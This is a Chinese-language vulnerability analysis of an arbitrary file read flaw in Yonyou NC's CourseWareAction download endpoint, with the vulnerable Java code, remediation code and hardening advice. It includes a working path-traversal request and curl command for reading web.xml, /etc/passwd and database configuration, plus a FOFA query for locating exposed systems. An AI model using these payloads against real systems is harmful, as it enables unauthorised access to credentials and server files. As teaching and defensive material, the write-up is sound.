用友 NC 任意文件读取漏洞分析
字数 1632 2025-11-21 12:32:11

用友NC任意文件读取漏洞分析教学文档

一、漏洞概述

1.1 漏洞简介

用友NC系统的CourseWareAction接口存在任意文件读取漏洞,攻击者可通过构造特定的fileName参数,直接读取服务器上的任意文件,导致敏感信息泄露。

1.2 漏洞危害等级

  • 危害程度:高危
  • 影响范围:可读取服务器任意文件,包括配置文件、敏感数据等

二、影响版本

2.1 确认受影响版本

  • 用友NC 6.5版本

2.2 可能受影响版本

  • 其他未打补丁的用友NC版本可能存在类似问题

三、漏洞原理深度分析

3.1 漏洞位置定位

漏洞位于hrss包目录下的CourseWareAction接口的download方法中。

3.2 关键漏洞代码分析

@Action
public void download() {
    String fileName = this.request.getParameter("fileName");
    fileName = StringUtil.convertToCorrectEncoding(fileName);
    
    // 漏洞核心代码:未对fileName进行安全过滤
    String strSrcDir = CodeGenUtils.buildFileURL(RuntimeEnv.getInstance().getNCHome(), 
        new String[]{"ware", fileName});
    
    OutputStream out = null;
    BufferedInputStream bufferedInputStream = null;
    
    try {
        this.request.setCharacterEncoding("UTF-8");
        File file = new File(strSrcDir);
        FileInputStream fileInput = new FileInputStream(file);
        bufferedInputStream = new BufferedInputStream(fileInput);
        byte[] pngBytes = new byte[bufferedInputStream.available()];
        bufferedInputStream.read(pngBytes);
        
        this.response.reset();
        this.response.setCharacterEncoding("UTF-8");
        this.response.setContentType("APPLICATION/OCTET-STREAM");
        this.response.setHeader("Content-disposition", 
            "attachment;filename=" + new String(fileName.getBytes("gb2312"), "ISO8859-1"));
        
        out = new BufferedOutputStream(this.response.getOutputStream());
        out.write(pngBytes);
        out.flush();
        
    } catch (Exception var11) {
        Exception e = var11;
        throw new LfwRuntimeException("指定位置找不到课件附件,下载失败!", e);
    } finally {
        IOUtils.closeQuietly(out);
        IOUtils.closeQuietly(bufferedInputStream);
    }
}

3.3 漏洞成因分析

3.3.1 路径构造缺陷

String strSrcDir = CodeGenUtils.buildFileURL(RuntimeEnv.getInstance().getNCHome(), 
    new String[]{"ware", fileName});
  • 直接使用用户输入的fileName参数构建文件路径
  • 未对路径遍历字符(../)进行过滤
  • 未对文件路径进行合法性校验

3.3.2 文件读取流程

  1. 获取用户输入的fileName参数
  2. 构建完整文件路径:NCHome + "ware" + fileName
  3. 直接创建File对象并读取文件内容
  4. 通过HTTP响应输出文件内容

3.4 安全缺陷点

  1. 缺乏输入验证:未对fileName参数进行有效性检查
  2. 路径遍历漏洞:允许使用../进行目录遍历
  3. 权限控制缺失:未验证用户是否有权访问请求的文件
  4. 错误信息泄露:异常信息可能暴露系统路径信息

四、漏洞利用方法

4.1 利用条件

  • 目标系统存在漏洞版本
  • 攻击者能够访问目标系统的Web服务

4.2 攻击Payload构造

4.2.1 基础利用方式

GET /portal/pt/downCourseWare/download?fileName=../webapps/nc_web/WEB-INF/web.xml&pageId=login HTTP/1.1
Host: target_ip

4.2.2 可读取的关键文件

  • 配置文件:../webapps/nc_web/WEB-INF/web.xml
  • 数据库配置:../webapps/nc_web/WEB-INF/classes/数据库配置文件
  • 系统文件:../../../../etc/passwd(Linux系统)
  • 日志文件:../logs/系统日志文件

4.3 利用步骤

  1. 识别目标系统为用友NC
  2. 构造包含路径遍历字符的fileName参数
  3. 发送HTTP请求到漏洞接口
  4. 获取服务器返回的文件内容

五、漏洞检测方法

5.1 手工检测

使用curl或浏览器插件发送测试请求:

curl "http://target_ip/portal/pt/downCourseWare/download?fileName=../webapps/nc_web/WEB-INF/web.xml&pageId=login"

5.2 自动化检测

编写检测脚本,特征判断:

  • 响应内容包含XML声明或配置文件内容
  • 响应头包含文件下载标识
  • 文件存在时的正常响应与文件不存在时的错误响应差异

5.3 资产发现

使用FOFA进行资产测绘:

app="用友-UFIDA-NC"

六、漏洞修复方案

6.1 临时修复措施

6.1.1 输入验证加固

public void download() {
    String fileName = this.request.getParameter("fileName");
    
    // 添加输入验证
    if (fileName == null || fileName.contains("..") || fileName.contains("/") || fileName.contains("\\")) {
        throw new SecurityException("非法文件名");
    }
    
    // 限制文件类型
    if (!fileName.endsWith(".pdf") && !fileName.endsWith(".doc") && !fileName.endsWith(".ppt")) {
        throw new SecurityException("不支持的文件类型");
    }
    
    // 继续原有逻辑...
}

6.1.2 路径规范化检查

// 规范化路径并检查是否在允许目录内
Path basePath = Paths.get(RuntimeEnv.getInstance().getNCHome(), "ware");
Path requestedPath = basePath.resolve(fileName).normalize();

if (!requestedPath.startsWith(basePath)) {
    throw new SecurityException("路径遍历攻击检测");
}

6.2 官方修复方案

  1. 安装用友官方发布的最新安全补丁
  2. 升级到不受影响的版本
  3. 遵循最小权限原则配置系统权限

6.3 安全加固建议

6.3.1 应用层防护

  • 对所有用户输入进行严格验证
  • 实施白名单机制限制可访问的文件
  • 添加身份认证和权限验证

6.3.2 系统层防护

  • 使用专用用户运行应用,限制其文件系统访问权限
  • 定期更新系统和应用补丁
  • 部署WAF防护路径遍历攻击

七、漏洞防范最佳实践

7.1 安全开发规范

  1. 输入验证原则:所有用户输入都视为不可信的
  2. 最小权限原则:应用程序以最小必要权限运行
  3. 防御性编程:假设所有外部输入都可能是恶意的

7.2 代码审查要点

  1. 检查所有文件操作相关的用户输入处理
  2. 验证路径解析和规范化逻辑
  3. 确认权限检查机制的完整性

7.3 安全测试重点

  1. 路径遍历漏洞测试
  2. 文件权限绕过测试
  3. 输入验证机制测试

八、总结

用友NC任意文件读取漏洞是一个典型的安全编码问题,根源在于对用户输入缺乏充分的验证和过滤。通过本次分析,应重点掌握:

  1. 路径遍历漏洞的原理和利用方式
  2. 安全编码中输入验证的重要性
  3. 多层防御策略的实施方法
  4. 漏洞修复和防护的最佳实践

此漏洞案例为安全开发和代码审计提供了重要的参考价值,强调了在文件操作等敏感功能中实施严格安全控制的重要性。

用友NC任意文件读取漏洞分析教学文档 一、漏洞概述 1.1 漏洞简介 用友NC系统的CourseWareAction接口存在任意文件读取漏洞,攻击者可通过构造特定的fileName参数,直接读取服务器上的任意文件,导致敏感信息泄露。 1.2 漏洞危害等级 危害程度 :高危 影响范围 :可读取服务器任意文件,包括配置文件、敏感数据等 二、影响版本 2.1 确认受影响版本 用友NC 6.5版本 2.2 可能受影响版本 其他未打补丁的用友NC版本可能存在类似问题 三、漏洞原理深度分析 3.1 漏洞位置定位 漏洞位于hrss包目录下的CourseWareAction接口的download方法中。 3.2 关键漏洞代码分析 3.3 漏洞成因分析 3.3.1 路径构造缺陷 直接使用用户输入的fileName参数构建文件路径 未对路径遍历字符(../)进行过滤 未对文件路径进行合法性校验 3.3.2 文件读取流程 获取用户输入的fileName参数 构建完整文件路径:NCHome + "ware" + fileName 直接创建File对象并读取文件内容 通过HTTP响应输出文件内容 3.4 安全缺陷点 缺乏输入验证 :未对fileName参数进行有效性检查 路径遍历漏洞 :允许使用../进行目录遍历 权限控制缺失 :未验证用户是否有权访问请求的文件 错误信息泄露 :异常信息可能暴露系统路径信息 四、漏洞利用方法 4.1 利用条件 目标系统存在漏洞版本 攻击者能够访问目标系统的Web服务 4.2 攻击Payload构造 4.2.1 基础利用方式 4.2.2 可读取的关键文件 配置文件 :../webapps/nc_ web/WEB-INF/web.xml 数据库配置 :../webapps/nc_ web/WEB-INF/classes/数据库配置文件 系统文件 :../../../../etc/passwd(Linux系统) 日志文件 :../logs/系统日志文件 4.3 利用步骤 识别目标系统为用友NC 构造包含路径遍历字符的fileName参数 发送HTTP请求到漏洞接口 获取服务器返回的文件内容 五、漏洞检测方法 5.1 手工检测 使用curl或浏览器插件发送测试请求: 5.2 自动化检测 编写检测脚本,特征判断: 响应内容包含XML声明或配置文件内容 响应头包含文件下载标识 文件存在时的正常响应与文件不存在时的错误响应差异 5.3 资产发现 使用FOFA进行资产测绘: 六、漏洞修复方案 6.1 临时修复措施 6.1.1 输入验证加固 6.1.2 路径规范化检查 6.2 官方修复方案 安装用友官方发布的最新安全补丁 升级到不受影响的版本 遵循最小权限原则配置系统权限 6.3 安全加固建议 6.3.1 应用层防护 对所有用户输入进行严格验证 实施白名单机制限制可访问的文件 添加身份认证和权限验证 6.3.2 系统层防护 使用专用用户运行应用,限制其文件系统访问权限 定期更新系统和应用补丁 部署WAF防护路径遍历攻击 七、漏洞防范最佳实践 7.1 安全开发规范 输入验证原则 :所有用户输入都视为不可信的 最小权限原则 :应用程序以最小必要权限运行 防御性编程 :假设所有外部输入都可能是恶意的 7.2 代码审查要点 检查所有文件操作相关的用户输入处理 验证路径解析和规范化逻辑 确认权限检查机制的完整性 7.3 安全测试重点 路径遍历漏洞测试 文件权限绕过测试 输入验证机制测试 八、总结 用友NC任意文件读取漏洞是一个典型的安全编码问题,根源在于对用户输入缺乏充分的验证和过滤。通过本次分析,应重点掌握: 路径遍历漏洞的原理和利用方式 安全编码中输入验证的重要性 多层防御策略的实施方法 漏洞修复和防护的最佳实践 此漏洞案例为安全开发和代码审计提供了重要的参考价值,强调了在文件操作等敏感功能中实施严格安全控制的重要性。